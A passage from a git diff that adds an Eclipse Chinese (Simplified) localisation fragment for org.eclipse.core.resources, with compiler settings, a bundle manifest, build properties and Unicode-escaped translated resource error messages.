b/i18n/org.eclipse.core.resources.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.core.resources.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.core.resources.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..96233da --- /dev/null +++ b/i18n/org.eclipse.core.resources.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.core.resources Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.core.resources.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.core.resources +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.core.resources.nl_zh/build.properties b/i18n/org.eclipse.core.resources.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.core.resources.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.core.resources.nl_zh/src/org/eclipse/core/internal/utils/messages_zh.properties b/i18n/org.eclipse.core.resources.nl_zh/src/org/eclipse/core/internal/utils/messages_zh.properties new file mode 100644 index 0000000..80d822a --- /dev/null +++ b/i18n/org.eclipse.core.resources.nl_zh/src/org/eclipse/core/internal/utils/messages_zh.properties @@ -0,0 +1,274 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +dtree_immutable=\u5c1d\u8bd5\u4fee\u6539\u4e0d\u53ef\u66f4\u6539\u7684\u6811\u662f\u975e\u6cd5\u7684\u3002 +dtree_malformedTree=\u6811\u5f62\u5f0f\u4e0d\u6b63\u786e\u3002 +dtree_missingChild=\u7f3a\u5c11\u5b50\u8282\u70b9\uff1a{0}\u3002 +dtree_notFound=\u627e\u4e0d\u5230\u6811\u5143\u7d20\u201c{0}\u201d\u3002 +dtree_notImmutable=\u6811\u5fc5\u987b\u662f\u4e0d\u53ef\u66f4\u6539\u7684\u3002 +dtree_reverse=\u5c1d\u8bd5\u4f7f\u975e\u6bd4\u8f83\u7684\u6811\u9006\u5411\u3002 +dtree_subclassImplement=\u5b50\u7c7b\u5e94\u8be5\u5df2\u7ecf\u5b9e\u73b0\u4e86\u6b64\u9879\u3002 +dtree_switchError=DeltaTreeReader.readNode() \u4e2d\u53d1\u751f\u4e86\u5207\u6362\u9519\u8bef\u3002 +events_builderError=\u5728\u9879\u76ee\u201c{1}\u201d\u4e2d\u8fd0\u884c\u6784\u5efa\u5668\u201c{0}\u201d\u65f6\u51fa\u9519\u3002 +events_building_0=\u6784\u5efa\u5de5\u4f5c\u7a7a\u95f4 +events_building_1=\u6784\u5efa\u201c{0}\u201d +events_errors=\u5728\u6784\u5efa\u671f\u95f4\u51fa\u9519\u3002 +events_instantiate_1=\u5b9e\u4f8b\u5316\u6784\u5efa\u5668\u201c{0}\u201d\u65f6\u51fa\u9519\u3002 +events_invoking_1=\u5728\u201c{0}\u201d\u4e0a\u8c03\u7528\u6784\u5efa\u5668\u3002 +events_invoking_2=\u5728\u201c{1}\u201d\u4e2d\u8c03\u7528\u201c{0}\u201d\u3002 +events_skippingBuilder=\u6b63\u5728\u8df3\u8fc7\u9879\u76ee\u201c{1}\u201d\u7684\u6784\u5efa\u5668\u201c{0}\u201d\u3002\u8981\u4e48\u5b89\u88c5\u4e2d\u7f3a\u5c11\u6784\u5efa\u5668\uff0c\u8981\u4e48\u5b83\u5c5e\u4e8e\u7f3a\u5c11\u7684\u6216\u7981\u7528\u7684\u9879\u76ee\u6027\u8d28\u3002 +events_unknown=\u8fd0\u884c {1} \u65f6\u9047\u5230\u4e86 {0}\u3002 +history_copyToNull=\u65e0\u6cd5\u5c06\u672c\u5730\u5386\u53f2\u8bb0\u5f55\u590d\u5236\u5230\u7a7a\u4f4d\u7f6e\u6216\u4ece\u7a7a\u4f4d\u7f6e\u590d\u5236\u5b83\u3002 +history_copyToSelf=\u65e0\u6cd5\u5c06\u672c\u5730\u5386\u53f2\u8bb0\u5f55\u590d\u5236\u5230\u540c\u4e00\u4f4d\u7f6e\u6216\u4ece\u540c\u4e00\u4f4d\u7f6e\u590d\u5236\u5b83\u3002 +history_errorContentDescription=\u68c0\u7d22\u4e0b\u5217\u9879\u76ee\u7684\u672c\u5730\u5386\u53f2\u8bb0\u5f55\u7684\u5185\u5bb9\u63cf\u8ff0\u65f6\u51fa\u9519\uff1a\u201c{0}\u201d\u3002 +history_notValid=\u72b6\u6001\u65e0\u6548\u6216\u8005\u53ef\u80fd\u5df2\u5230\u671f\u3002 +history_problemsCleaning=\u6e05\u7406\u5386\u53f2\u8bb0\u5f55\u5b58\u50a8\u65f6\u51fa\u73b0\u95ee\u9898\u3002 +links_creating=\u521b\u5efa\u94fe\u63a5\u3002 +links_errorLinkReconcile=\u5904\u7406\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\u4e2d\u7684\u5df2\u66f4\u6539\u94fe\u63a5\u65f6\u51fa\u9519\u3002 +links_invalidLocation=\u201c{0}\u201d\u4e0d\u662f\u94fe\u63a5\u7684\u8d44\u6e90\u7684\u6709\u6548\u4f4d\u7f6e\u3002 +links_localDoesNotExist=\u4e0d\u80fd\u521b\u5efa\u94fe\u63a5\u7684\u8d44\u6e90\u3002\u672c\u5730\u4f4d\u7f6e\u201c{0}\u201d\u4e0d\u5b58\u5728\u3002 +links_locationOverlapsLink=\u201c{0}\u201d\u4e0d\u662f\u6709\u6548\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u5b83\u4e0e\u5305\u542b\u94fe\u63a5\u7684\u8d44\u6e90\u7684\u9879\u76ee\u91cd\u5408\u3002 +links_locationOverlapsProject=\u4e0d\u80fd\u521b\u5efa\u6307\u5411\u201c{0}\u201d\u7684\u94fe\u63a5\uff0c\u56e0\u4e3a\u5b83\u4e0e\u5305\u542b\u90a3\u94fe\u63a5\u7684\u8d44\u6e90\u7684\u9879\u76ee\u91cd\u5408\u3002 +links_natureVeto=\u4e0d\u5141\u8bb8\u94fe\u63a5\uff0c\u56e0\u4e3a\u9879\u76ee\u6027\u8d28\u201c{0}\u201d\u4e0d\u5141\u8bb8\u8fdb\u884c\u94fe\u63a5\u3002 +links_noPath=\u5fc5\u987b\u6307\u5b9a\u94fe\u63a5\u4f4d\u7f6e\u3002 +links_overlappingResource=\u4f4d\u7f6e\u201c{0}\u201d\u53ef\u80fd\u4e0e\u53e6\u4e00\u4e2a\u8d44\u6e90\u91cd\u53e0\u3002\u8fd9\u53ef\u80fd\u5bfc\u81f4\u610f\u5916\u7684\u526f\u4f5c\u7528\u3002 +links_updatingDuplicate=\u6b63\u5728\u66f4\u65b0\u91cd\u590d\u7684\u8d44\u6e90\uff1a\u201c{0}\u201d\u3002 +links_parentNotAccessible=\u4e0d\u80fd\u521b\u5efa\u94fe\u63a5\u7684\u8d44\u6e90\u201c{0}\u201d\u3002\u7236\u8d44\u6e90\u4e0d\u53ef\u8bbf\u95ee\u3002 +links_notFileFolder=\u4e0d\u80fd\u521b\u5efa\u94fe\u63a5\u7684\u8d44\u6e90\u201c{0}\u201d\u3002\u53ea\u6709\u6587\u4ef6\u548c\u6587\u4ef6\u5939\u624d\u53ef\u4ee5\u88ab\u94fe\u63a5\u3002 +links_vetoNature=\u4e0d\u80fd\u6dfb\u52a0\u6027\u8d28\uff0c\u56e0\u4e3a\u9879\u76ee\u201c{0}\u201d\u5305\u542b\u94fe\u63a5\u7684\u8d44\u6e90\uff0c\u800c\u6027\u8d28\u201c{1}\u201d\u4e0d\u5141\u8bb8\u5305\u542b\u94fe\u63a5\u7684\u8d44\u6e90\u3002 +links_workspaceVeto=\u94fe\u63a5\u7684\u8d44\u6e90\u4e0d\u53d7\u6b64\u5e94\u7528\u7a0b\u5e8f\u652f\u6301\u3002 +links_wrongLocalType=\u4e0d\u80fd\u521b\u5efa\u94fe\u63a5\u7684\u8d44\u6e90"{0}"\u3002\u6587\u4ef6\u4e0d\u80fd\u94fe\u63a5\u81f3\u6587\u4ef6\u5939\u3002 +links_resourceIsNotALink=\u8d44\u6e90"{0}"\u5fc5\u987b\u662f\u4e00\u4e2a\u5df2\u94fe\u63a5\u5230\u6539\u53d8\u5b83\u7684\u94fe\u63a5\u4f4d\u7f6e +links_setLocation=\u66f4\u6539\u8fde\u63a5\u4f4d\u7f6e\u3002 +group_invalidParent=\u5728\u865a\u62df\u6587\u4ef6\u5939\u4e0b\u53ea\u80fd\u521b\u5efa\u865a\u62df\u6587\u4ef6\u5939\u548c\u94fe\u63a5 +filters_missingFilterType=\u627e\u4e0d\u5230\u8d44\u6e90\u8fc7\u6ee4\u5668\u7c7b\u578b:"{0}" +localstore_copying=\u6b63\u5728\u590d\u5236\u201c{0}\u201d\u3002 +localstore_copyProblem=\u590d\u5236\u8d44\u6e90\u65f6\u9047\u5230\u95ee\u9898\u3002 +localstore_couldnotDelete=\u4e0d\u80fd\u5220\u9664\u201c{0}\u201d\u3002 +localstore_couldNotMove=\u4e0d\u80fd\u79fb\u52a8\u201c{0}\u201d\u3002 +localstore_couldNotRead=\u4e0d\u80fd\u8bfb\u53d6\u6587\u4ef6\u201c{0}\u201d\u3002 +localstore_couldNotWrite=\u4e0d\u80fd\u5199\u5165\u6587\u4ef6\u201c{0}\u201d\u3002 +localstore_couldNotWriteReadOnly=\u4e0d\u80fd\u5199\u5165\u53ea\u8bfb\u6587\u4ef6\uff1a\u201c{0}\u201d\u3002 +localstore_deleteProblem=\u5220\u9664\u8d44\u6e90\u65f6\u9047\u5230\u95ee\u9898\u3002 +localstore_deleting=\u6b63\u5728\u5220\u9664\u201c{0}\u201d\u3002 +localstore_failedReadDuringWrite=\u5728\u5199\u5165\u6587\u4ef6\u201c{0}\u201d\u65f6\u4e0d\u80fd\u8bfb\u53d6\u6e90 +localstore_fileExists=\u78c1\u76d8\u201c{0}\u201d\u4e2d\u5df2\u7ecf\u5b58\u5728\u8d44\u6e90\u3002 +localstore_fileNotFound=\u627e\u4e0d\u5230\u6587\u4ef6\uff1a{0}\u3002 +localstore_locationUndefined=\u4e0d\u80fd\u786e\u5b9a\u201c{0}\u201d\u7684\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u5b83\u57fa\u4e8e\u672a\u5b9a\u4e49\u7684\u8def\u5f84\u53d8\u91cf\u3002 +localstore_refreshing=\u6b63\u5728\u5237\u65b0\u201c{0}\u201d\u3002 +localstore_refreshingRoot=\u6b63\u5728\u5237\u65b0\u5de5\u4f5c\u7a7a\u95f4\u3002 +localstore_resourceExists=\u8d44\u6e90\u5df2\u7ecf\u5b58\u5728\u4e8e\u78c1\u76d8\u4e2d\uff1a"{0}"\u3002 +localstore_resourceDoesNotExist=\u8d44\u6e90\u4e0d\u5b58\u5728\u4e8e\u78c1\u76d8:"{0}" +localstore_resourceIsOutOfSync=\u8d44\u6e90\u4e0e\u6587\u4ef6\u7cfb\u7edf\u4e0d\u540c\u6b65\uff1a"{0}"\u3002 +mapping_invalidDef=\u53d1\u73b0\u6a21\u578b\u63d0\u4f9b\u7a0b\u5e8f\u6269\u5c55\u5e26\u6709\u65e0\u6548\u5b9a\u4e49\uff1a{0}\u3002 +mapping_wrongType=\u6a21\u578b\u63d0\u4f9b\u7a0b\u5e8f\u201c{0}\u201d\u672a\u5f00\u53d1 ModelProvider\u3002 +mapping_noIdentifier=\u53d1\u73b0\u6a21\u578b\u63d0\u4f9b\u7a0b\u5e8f\u6269\u5c55\u6ca1\u6709\u6807\u8bc6\uff1b\u5ffd\u7565\u6269\u5c55\u3002 +mapping_validate=\u6b63\u5728\u9a8c\u8bc1\u8d44\u6e90\u66f4\u6539 +mapping_multiProblems=\u5df2\u6807\u8bc6\u4e86\u591a\u4e2a\u6f5c\u5728\u7684\u526f\u4f5c\u7528\u3002 +natures_duplicateNature=\u91cd\u590d\u7684\u6027\u8d28\uff1a{0}\u3002 +natures_hasCycle=\u6027\u8d28\u65e0\u6548\uff0c\u8fd9\u662f\u56e0\u4e3a\u5b83\u7684\u5148\u51b3\u6761\u4ef6\u5f62\u6210\u5faa\u73af\uff1a{0} +natures_missingIdentifier=\u627e\u5230\u4e0d\u5e26\u6807\u8bc6\u7684\u6027\u8d28\u6269\u5c55\uff1b\u6b63\u5728\u5ffd\u7565\u6269\u5c55\u3002 +natures_missingNature=\u6027\u8d28\u4e0d\u5b58\u5728\uff1a{0}\u3002 +natures_missingPrerequisite=\u6027\u8d28 {0} \u7f3a\u5c11\u5148\u51b3\u6761\u4ef6\u6027\u8d28\uff1a{1}\u3002 +natures_multipleSetMembers=\u5bf9\u6027\u8d28\u96c6\u627e\u5230\u591a\u4e2a\u6027\u8d28\uff1a{0}\u3002 +natures_invalidDefinition=\u627e\u5230\u5177\u6709\u65e0\u6548\u5b9a\u4e49\u7684\u6027\u8d28\u6269\u5c55\uff1a{0}\u3002 +natures_invalidRemoval=\u4e0d\u80fd\u9664\u53bb\u6027\u8d28 {0}\uff0c\u8fd9\u662f\u56e0\u4e3a\u5b83\u662f\u6027\u8d28 {1} \u7684\u5148\u51b3\u6761\u4ef6\u3002 +natures_invalidSet=\u6027\u8d28\u96c6\u65e0\u6548\u3002 +pathvar_length=\u8def\u5f84\u53d8\u91cf\u540d\u957f\u5ea6\u5fc5\u987b > 0\u3002 +pathvar_beginLetter=\u8def\u5f84\u53d8\u91cf\u540d\u5fc5\u987b\u4ee5\u5b57\u6bcd\u6216\u4e0b\u5212\u7ebf\u5f00\u59cb\u3002 +pathvar_invalidChar=\u8def\u5f84\u53d8\u91cf\u540d\u4e0d\u80fd\u5305\u542b\u5b57\u7b26\uff1a{0}\u3002 +pathvar_invalidValue=\u8def\u5f84\u53d8\u91cf\u503c\u5fc5\u987b\u662f\u6709\u6548\u7684\u548c\u7edd\u5bf9\u7684\u3002 +pathvar_undefined=\u201c{0}\u201d\u4e0d\u662f\u6709\u6548\u7684\u4f4d\u7f6e\u3002\u4f4d\u7f6e\u662f\u76f8\u5bf9\u672a\u5b9a\u4e49\u7684\u5de5\u4f5c\u7a7a\u95f4\u8def\u5f84\u53d8\u91cf\u201c{1}\u201d\u7684\u3002 +pathvar_whitespace=\u8def\u5f84\u53d8\u91cf\u540d\u4e0d\u80fd\u5305\u542b\u7a7a\u683c +preferences_deleteException=\u5220\u9664\u6587\u4ef6 {0} \u65f6\u53d1\u751f\u5f02\u5e38\u3002 +preferences_loadException=\u4ece {0} \u4e2d\u88c5\u5165\u9996\u9009\u9879\u65f6\u53d1\u751f\u5f02\u5e38\u3002 +preferences_operationCanceled=\u64cd\u4f5c\u5df2\u53d6\u6d88\u3002 +preferences_removeNodeException=\u9664\u53bb\u9996\u9009\u8282\u70b9 {0} \u65f6\u53d1\u751f\u5f02\u5e38\u3002 +preferences_clearNodeException=\u6e05\u9664\u9996\u9009\u8282\u70b9\u65f6\u53d1\u751f\u5f02\u5e38\uff1a{0}\u3002 +preferences_saveProblems=\u4fdd\u5b58\u9879\u76ee\u9996\u9009\u9879\u65f6\u53d1\u751f\u5f02\u5e38\uff1a{0}\u3002 +preferences_syncException=\u4f7f\u8282\u70b9 {0} \u540c\u6b65\u65f6\u53d1\u751f\u5f02\u5e38\u3002 +projRead_badLinkName=\u4e3a\u5355\u4e2a\u94fe\u63a5\u68c0\u6d4b\u5230\u540d\u79f0\u201c{0}\u201d\u548c\u201c{1}\u201d\u3002\u4f7f\u7528\u201c{0}\u201d\u3002 +projRead_badLinkType2=\u4e3a\u5355\u4e2a\u94fe\u63a5\u68c0\u6d4b\u5230\u7c7b\u578b\u201c{0}\u201d\u548c\u201c{1}\u201d\u3002\u4f7f\u7528\u201c{0}\u201d\u3002 +projRead_badLocation=\u4e3a\u5355\u4e2a\u94fe\u63a5\u68c0\u6d4b\u5230\u4f4d\u7f6e\u201c{0}\u201d\u548c\u201c{1}\u201d\u3002\u4f7f\u7528\u201c{0}\u201d\u3002 +projRead_emptyLinkName=\u4e3a\u5177\u6709\u7c7b\u578b\u201c{0}\u201d\u548c\u4f4d\u7f6e\u201c{1}\u201d\u7684\u94fe\u63a5\u8d44\u6e90\u68c0\u6d4b\u5230\u7a7a\u540d\u79f0\u3002 +projRead_badLinkType=\u4e3a\u5177\u6709\u540d\u79f0\u201c{0}\u201d\u548c\u4f4d\u7f6e\u201c{1}\u201d\u7684\u94fe\u63a5\u8d44\u6e90\u68c0\u6d4b\u5230\u975e\u6cd5\u94fe\u63a5\u7c7b\u578b\u201c-1\u201d\u3002 +projRead_badLinkLocation=\u4e3a\u5177\u6709\u540d\u79f0\u201c{0}\u201d\u548c\u7c7b\u578b\u201c{1}\u201d\u7684\u94fe\u63a5\u8d44\u6e90\u68c0\u6d4b\u5230\u7a7a\u4f4d\u7f6e\u3002 +projRead_whichKey=\u5728\u6784\u5efa\u547d\u4ee4\u4e2d\u4e3a\u81ea\u53d8\u91cf\u540d\u79f0\u68c0\u6d4b\u5230\u4e24\u4e2a\u503c\uff1a\u201c{0}\u201d\u548c\u201c{1}\u201d\u3002\u4f7f\u7528\u201c{0}\u201d\u3002 +projRead_whichValue=\u5728\u6784\u5efa\u547d\u4ee4\u4e2d\u4e3a\u81ea\u53d8\u91cf\u503c\u68c0\u6d4b\u5230\u4e24\u4e2a\u503c\uff1a\u201c{0}\u201d\u548c\u201c{1}\u201d\u3002\u4f7f\u7528\u201c{0}\u201d\u3002 +projRead_notProjectDescription=\u5728\u5c1d\u8bd5\u8bfb\u53d6\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\u65f6\uff0c\u9047\u5230\u4e86\u5143\u7d20\u540d\u79f0\u201c{0}\u201d\u800c\u4e0d\u662f\u201c\u9879\u76ee\u201d\u3002 +projRead_badSnapshotLocation=\u65e0\u6548\u7684\u8d44\u6e90\u5feb\u7167\u4f4d\u7f6e URI "{0}" \u4e0d\u662f\u7edd\u5bf9\u7684 +projRead_cannotReadSnapshot=\u4e3a\u9879\u76ee ''{0}''\u8bfb\u53d6\u8d44\u6e90\u5feb\u7167\u5931\u8d25: {1} +projRead_failureReadingProjectDesc=\u8bfb\u53d6 .project \u6587\u4ef6\u65f6\u51fa\u73b0\u6545\u969c\u3002 +projRead_emptyVariableName=\u5728\u5de5\u7a0b"{0}\"\u4e2d\u68c0\u6d4b\u5230\u7a7a\u53d8\u91cf\u540d +projRead_badFilterName=\u540d\u4e3a"{0}"\u548c "{1}" \u68c0\u6d4b\u5230\u4e00\u4e2a\u5355\u4e00\u7684\u8fc7\u6ee4\u5668,\u4f7f\u7528"{0}" +projRead_emptyFilterName=\u5728\u8fc7\u6ee4\u540e\u7684\u8d44\u6e90\u4e2d\u7684\u4ee5\u7c7b\u578b ''{0}'' \u548c id id ''{1}'' \u4e2d\u68c0\u6d4b\u5230\u7a7a\u540d\u79f0\u3002 +projRead_badFilterID=\u5728\u8fc7\u6ee4\u540e\u7684\u8d44\u6e90\u4e2d\u7684\u4ee5\u540d\u79f0 ''{0}'' \u548c\u7c7b\u578b ''{1}'' \u4e2d\u68c0\u6d4b\u5230\u7a7a\u8fc7\u6ee4\u5668\u3002 +projRead_badFilterType=\u5728\u8fc7\u6ee4\u540e\u7684\u8d44\u6e90\u4e2d\u7684\u540d\u79f0 ''{0}'' \u548c id ''{1}''\u4e2d\u68c0\u6d4b\u5230\u975e\u6cd5\u8fc7\u6ee4\u5668\u7c7b\u578b \"-1\". +projRead_badFilterType2=\u7c7b\u578b ''{0}'' \u548c ''{1}'' \u68c0\u6d4b\u5230\u5355\u4e00\u8fc7\u6ee4\u5668. \u4f7f\u7528 ''{0}''. +projRead_badID=ID ''{0}'' \u548c ''{1}'' \u68c0\u6d4b\u5230\u5355\u4e00\u8fc7\u6ee4\u5668. \u4f7f\u7528 ''{0}''. +projRead_badArguments=\u53c2\u6570 ''{0}'' \u548c ''{1}'' \u68c0\u6d4b\u5230\u5355\u4e00\u8fc7\u6ee4\u5668. \u4f7f\u7528 ''{0}''. +properties_qualifierIsNull=\u5c5e\u6027\u952e\u7684\u9650\u5b9a\u7b26\u90e8\u5206\u4e0d\u80fd\u4e3a\u7a7a\u3002 +properties_readProperties=\u8bfb\u53d6\u8d44\u6e90\u201c{0}\u201d\u7684\u6301\u4e45\u5c5e\u6027\u65f6\u53d1\u751f\u4e86\u6545\u969c\uff0c\u6587\u4ef6\u5df2\u6bc1\u574f\u3002\u53ef\u80fd\u4e22\u5931\u4e86\u67d0\u4e9b\u5c5e\u6027\u3002 +properties_valueTooLong=\u672a\u80fd\u8bbe\u7f6e\u5c5e\u6027\uff1a{0} {1}\u3002\u503c\u592a\u957f\u3002 +properties_couldNotClose=\u672a\u80fd\u5173\u95ed {0} \u7684\u5c5e\u6027\u5b58\u50a8\u3002 +refresh_jobName=\u6b63\u5728\u5237\u65b0\u5de5\u4f5c\u7a7a\u95f4 +refresh_task=\u8981\u5237\u65b0\u7684\u8d44\u6e90\uff1a{0} +refresh_pollJob=\u6b63\u5728\u641c\u7d22\u672c\u5730\u66f4\u6539 +refresh_refreshErr=\u5237\u65b0\u672c\u5730\u66f4\u6539\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +refresh_installError=\u5b89\u88c5\u81ea\u52a8\u5237\u65b0\u76d1\u89c6\u5668\u65f6\u53d1\u751f\u4e86\u9519\u8bef +resources_cannotModify=\u9501\u5b9a\u8d44\u6e90\u6811\u4ee5\u4fbf\u8fdb\u884c\u4fee\u6539\u3002 +resources_changeInAdd=\u6b63\u5728\u5c1d\u8bd5\u66f4\u6539 add \u65b9\u6cd5\u4e2d\u7684\u6807\u8bb0\u3002 +resources_charsetBroadcasting=\u6b63\u5728\u62a5\u544a\u7f16\u7801\u66f4\u6539\u3002 +resources_charsetUpdating=\u6b63\u5728\u66f4\u65b0\u7f16\u7801\u8bbe\u7f6e\u3002 +resources_closing_0=\u6b63\u5728\u5173\u95ed\u5de5\u4f5c\u7a7a\u95f4\u3002 +resources_closing_1=\u6b63\u5728\u5173\u95ed\u201c{0}\u201d\u3002 +resources_copyDestNotSub=\u4e0d\u80fd\u590d\u5236\u201c{0}\u201d\u3002\u76ee\u7684\u5730\u4e0d\u5e94\u8be5\u5728\u6e90\u7684\u5c42\u6b21\u7ed3\u6784\u4e0b\u3002 +resources_copying=\u6b63\u5728\u590d\u5236\u201c{0}\u201d\u3002 +resources_copying_0=\u6b63\u5728\u590d\u5236\u3002 +resources_copyNotMet=\u672a\u6ee1\u8db3\u590d\u5236\u9700\u6c42\u3002 +resources_copyProblem=\u590d\u5236\u8d44\u6e90\u65f6\u9047\u5230\u95ee\u9898\u3002 +resources_couldnotDelete=\u4e0d\u80fd\u5220\u9664\u201c{0}\u201d\u3002 +resources_create=\u521b\u5efa\u3002 +resources_creating=\u6b63\u5728\u521b\u5efa\u8d44\u6e90\u201c{0}\u201d\u3002 +resources_deleteMeta=\u4e0d\u80fd\u5220\u9664\u201c{0}\u201d\u7684\u5143\u6570\u636e\u3002 +resources_deleteProblem=\u5220\u9664\u8d44\u6e90\u65f6\u9047\u5230\u95ee\u9898\u3002 +resources_deleting=\u6b63\u5728\u5220\u9664\u201c{0}\u201d\u3002 +resources_deleting_0=\u5220\u9664\u3002 +resources_destNotNull=\u76ee\u6807\u8def\u5f84\u4e0d\u5e94\u4e3a null\u3002 +resources_errorContentDescription=\u68c0\u7d22\u8d44\u6e90\u201c{0}\u201d\u7684\u5185\u5bb9\u63cf\u8ff0\u65f6\u51fa\u9519\u3002 +resources_errorDeleting=\u4ece\u5de5\u4f5c\u7a7a\u95f4\u6811\u4e2d\u5220\u9664\u8d44\u6e90\u201c{0}\u201d\u65f6\u51fa\u9519\u3002 +resources_errorMarkersDelete=\u5220\u9664\u8d44\u6e90\u201c{0}\u201d\u7684\u6807\u8bb0\u65f6\u51fa\u9519\u3002 +resources_errorMarkersMove=\u5c06\u6807\u8bb0\u4ece\u8d44\u6e90\u201c{0}\u201d\u79fb\u81f3\u201c{1}\u201d\u65f6\u51fa\u9519\u3002 +resources_wrongMarkerAttributeValueType=\u2018\u5c5e\u6027\u6570\u503c\u7c7b\u578b\u662f {0}\uff0c\u53ef\u80fd\u662f java\u3001lang\u3001String\u3001Boolean\u3001\u6574\u6570\u4e4b\u4e00\u2019 +resources_errorMembers=\u68c0\u7d22\u5bb9\u5668\u201c{0}\u201d\u7684\u6210\u5458\u65f6\u51fa\u9519\u3002 +resources_errorMoving=\u5728\u5de5\u4f5c\u7a7a\u95f4\u6811\u4e2d\u5c06\u8d44\u6e90\u201c{0}\u201d\u79fb\u81f3\u201c{1}\u201d\u65f6\u51fa\u9519\u3002 +resources_errorNature=\u914d\u7f6e\u6027\u8d28\u201c{0}\u201d\u65f6\u51fa\u9519\u3002 +resources_errorPropertiesMove=\u5c06\u8d44\u6e90\u201c{0}\u201d\u7684\u5c5e\u6027\u79fb\u81f3\u201c{1}\u201d\u65f6\u51fa\u9519\u3002 +resources_errorRefresh=\u5237\u65b0\u8d44\u6e90\u201c{0}\u201d\u671f\u95f4\u51fa\u9519\u3002 +resources_errorReadProject=\u4ece\u4f4d\u7f6e\u201c{0}\u201d\u8bfb\u53d6\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\u5931\u8d25\u3002 +resources_errorMultiRefresh=\u5237\u65b0\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u8d44\u6e90\u65f6\u51fa\u9519\u3002 +resources_errorValidator=\u8fd0\u884c\u9a8c\u8bc1\u5668\u4ee3\u7801\u65f6\u53d1\u751f\u5f02\u5e38\u3002 +resources_errorVisiting=\u904d\u5386\u8d44\u6e90\u65f6\u51fa\u9519\u3002 +resources_existsDifferentCase=\u5b58\u5728\u4f7f\u7528\u53e6\u4e00\u5927\u5c0f\u5199\u7684\u8d44\u6e90\uff1a\u201c{0}\u201d\u3002 +resources_existsLocalDifferentCase=\u78c1\u76d8\u4e0a\u5b58\u5728\u4f7f\u7528\u53e6\u4e00\u5927\u5c0f\u5199\u7684\u8d44\u6e90\uff1a\u201c{0}\u201d\u3002 +resources_exMasterTable=\u672a\u80fd\u8bfb\u53d6\u4e3b\u8868\u3002 +resources_exReadProjectLocation=\u4e0d\u80fd\u8bfb\u53d6\u201c{0}\u201d\u7684\u9879\u76ee\u4f4d\u7f6e\u3002 +resources_exSafeRead=\u672a\u80fd\u8bfb\u53d6\u5b89\u5168\u8868\u3002 +resources_exSafeSave=\u672a\u80fd\u4fdd\u5b58\u5b89\u5168\u8868\u3002 +resources_exSaveMaster=\u4e0d\u80fd\u5728\u6587\u4ef6 ''{0}'' \u4e2d\u4fdd\u5b58\u4e3b\u8868\u3002 +resources_exSaveProjectLocation=\u4e0d\u80fd\u4e3a\u6587\u4ef6 ''{0}'' \u4fdd\u5b58\u9879\u76ee\u4f4d\u7f6e\u3002 +resources_fileExists=\u78c1\u76d8\u201c{0}\u201d\u4e2d\u5df2\u7ecf\u5b58\u5728\u8d44\u6e90\u3002 +resources_fileToProj=\u4e0d\u80fd\u5c06\u6587\u4ef6\u590d\u5236\u5230\u9879\u76ee\u4e2d\u3002 +resources_flushingContentDescriptionCache=\u6b63\u5728\u5c06\u5185\u5bb9\u63cf\u8ff0\u9ad8\u901f\u7f13\u5b58\u6e05\u4ed3\u3002 +resources_folderOverFile=\u4e0d\u80fd\u7528\u6587\u4ef6\u201c{0}\u201d\u6765\u8986\u76d6\u6587\u4ef6\u5939\u3002 +resources_format=\u6587\u4ef6\u683c\u5f0f\u4e0d\u517c\u5bb9\u3002\u5de5\u4f5c\u7a7a\u95f4\u662f\u4f7f\u7528\u4e0d\u517c\u5bb9\u7248\u672c {0} \u4fdd\u5b58\u7684\u3002 +resources_initValidator=\u65e0\u6cd5\u5b9e\u4f8b\u5316\u9a8c\u8bc1\u5668\u3002 +resources_initHook=\u65e0\u6cd5\u5b9e\u4f8b\u5316\u79fb\u52a8\uff0f\u5220\u9664\u6302\u94a9\u3002 +resources_initTeamHook=\u65e0\u6cd5\u5b9e\u4f8b\u5316\u5c0f\u7ec4\u6302\u94a9\u3002 +resources_invalidCharInName={0} \u5728\u8d44\u6e90\u540d\u79f0\u201c{1}\u201d\u4e2d\u662f\u65e0\u6548\u5b57\u7b26\u3002 +resources_invalidCharInPath={0} \u5728\u8def\u5f84\u201c{1}\u201d\u4e2d\u662f\u65e0\u6548\u5b57\u7b26\u3002 +resources_invalidName=\u201c{0}\u201d\u5728\u6b64\u5e73\u53f0\u4e0a\u662f\u65e0\u6548\u540d\u79f0\u3002 +resources_invalidPath=\u201c{0}\u201d\u662f\u65e0\u6548\u8d44\u6e90\u8def\u5f84\u3002 +resources_invalidProjDesc=\u9879\u76ee\u63cf\u8ff0\u65e0\u6548\u3002 +resources_invalidResourceName=\u201c{0}\u201d\u662f\u65e0\u6548\u8d44\u6e90\u540d\u79f0\u3002 +resources_invalidRoot=\u6839\u76ee\u5f55\uff08/\uff09\u662f\u65e0\u6548\u7684\u8d44\u6e90\u8def\u5f84\u3002 